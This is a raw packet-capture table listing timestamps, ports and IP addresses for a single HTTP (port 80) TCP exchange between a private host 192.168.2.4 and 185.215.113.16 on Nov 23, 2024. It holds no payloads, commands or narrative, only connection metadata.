Nov 23, 2024 20:23:12.451787949 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.451836109 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.451957941 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.452675104 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.452717066 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.452820063 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.452858925 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.453555107 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.453665972 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.453704119 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.454462051 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.454550028 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.454593897 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.455347061 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.455442905 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.455490112 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.456248045 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.456342936 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.456391096 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.588223934 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.588280916 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.588334084 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.588382006 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.588682890 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.588725090 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.588788986 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.588831902 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.589531898 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.589574099 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.589642048 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.589685917 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.590439081 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.590481997 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.590543032 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.590585947 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.591344118 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.591384888 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.591442108 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.591484070 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.592233896 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.592276096 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.592360020 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.592403889 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.593116045 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.593159914 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.593189955 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.593225956 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.607867002 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.607932091 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.607949972 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.607976913 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.608097076 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.608108997 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.608144045 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.609013081 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.609056950 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.609074116 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.609117031 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.609879017 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.609925032 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.609987974 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.610032082 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.610800028 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.610841990 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.610913992 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.610958099 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.611671925 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.611715078 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.611764908 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.611807108 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.612598896 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.612642050 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.612715006 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.612757921 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.613466024 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.613509893 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.613568068 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.613611937 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.614346981 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.614384890 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.614463091 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.614506960 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.615253925 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.615289927 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.615299940 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.615341902 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.616130114 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.616177082 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.616242886 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.616285086 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.617063046 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.617105961 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.617130041 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.617171049 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.617963076 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.618004084 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.618004084 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.618046999 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.618812084 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.618907928 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.618952990 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.619710922 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.619802952 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.619846106 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.620604038 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.620651007 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.620681047 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.621469021 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.621494055 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.621509075 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.621584892 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.622375965 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.622421026 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.622478962 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.622690916 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.623265982 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.623307943 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.623384953 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.623430014 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.624147892 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.624270916 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.624315977 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.625037909 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.625148058 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.625221014 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.625221014 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.625993967 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.626050949 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.626097918 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.626871109 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.626967907 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.627026081 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.627861977 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.627911091 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.627964973 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.628670931 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.628746986 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.628818989 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.629539967 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.629607916 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.629698992 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.629785061 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.630423069 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.630469084 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.630525112 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.630616903 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.631304979 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.631369114 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.631398916 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.631442070 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.632203102 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.632272959 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.632319927 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.633222103 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.633268118 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.633337975 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.633981943 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.634114981 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.634156942 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.634871006 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.634912014 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.635004044 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.635050058 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.635771036 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.635838032 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.635881901 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.636039972 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.636647940 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.636696100 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.636775017 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.636846066 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.637635946 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.637656927 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.637677908 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.637701035 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.638426065 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.638545990 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.638603926 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.639338970 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.639421940 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.639477968 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.640213966 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.640259027 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.640325069 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.640691996 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.641144037 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.641187906 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.641227961 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.641273022 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.642003059 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.642066002 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.642100096 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.642143965 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.642906904 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.642954111 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.643032074 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.643070936 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.643805027 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.643893003 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.643944979 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.644680977 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.644840956 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.644887924 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.645567894 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.645634890 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.645658016 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.645710945 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.646472931 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.646615028 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.646646023 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.646682978 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.647370100 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.647433996 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.647507906 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.647548914 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.648296118 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.648363113 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.648411036 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.781357050 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.781377077 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.781481028 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.781743050 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.781821012 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.781832933 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.781886101 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.782614946 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.782666922 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.782721043 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.782772064 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.783508062 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.783561945 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.783610106 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.783665895 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.784429073 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.784480095 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.784533024 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.784579039 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.785285950 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.785336971 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.785464048 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.785511017 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.786207914 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.786262989 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.786326885 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.786370993 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.800175905 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.800195932 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.800288916 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.800486088 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.800542116 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.800601006 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.800666094 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.801378965 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.801439047 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.801448107 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.801491022 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.802279949 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.802346945 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.802377939 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.802424908 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.803216934 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.803271055 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.803385973 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.803430080 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.804047108 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.804092884 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.804171085 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.804219007 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.805250883 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.805301905 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.805332899 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.805377007 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.806341887 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.806390047 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.806418896 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.806447029 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.807080030 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.807128906 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.807130098 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.807183027 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.807950974 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.807998896 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.808031082 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.808068991 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.808541059 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.808590889 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.808624029 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.808664083 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.809412003 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.809463978 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.809520006 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.809562922 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.810355902 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.810415983 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.810477018 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.810528994 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.811259031 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.811332941 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.811424017 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.811491966 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.812136889 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.812187910 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.812202930 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.812243938 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.812994957 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.813060045 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.813118935 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.813164949 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.813874960 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.813931942 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.814002037 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.814057112 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.814739943 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.814794064 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.814853907 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.814903021 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.815663099 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.815717936 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.815771103 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.815821886 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.816541910 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.816597939 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.816652060 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.816706896 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.817447901 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.817502022 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.817533016 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.817586899 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.818332911 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.818428993 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.818545103 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.818599939 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.819231033 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.819288969 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.819371939 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.819425106 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.820105076 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.820159912 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:12.820216894 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:12.820261955 CET	49760	80	192.168.2.4	185.215.113.16
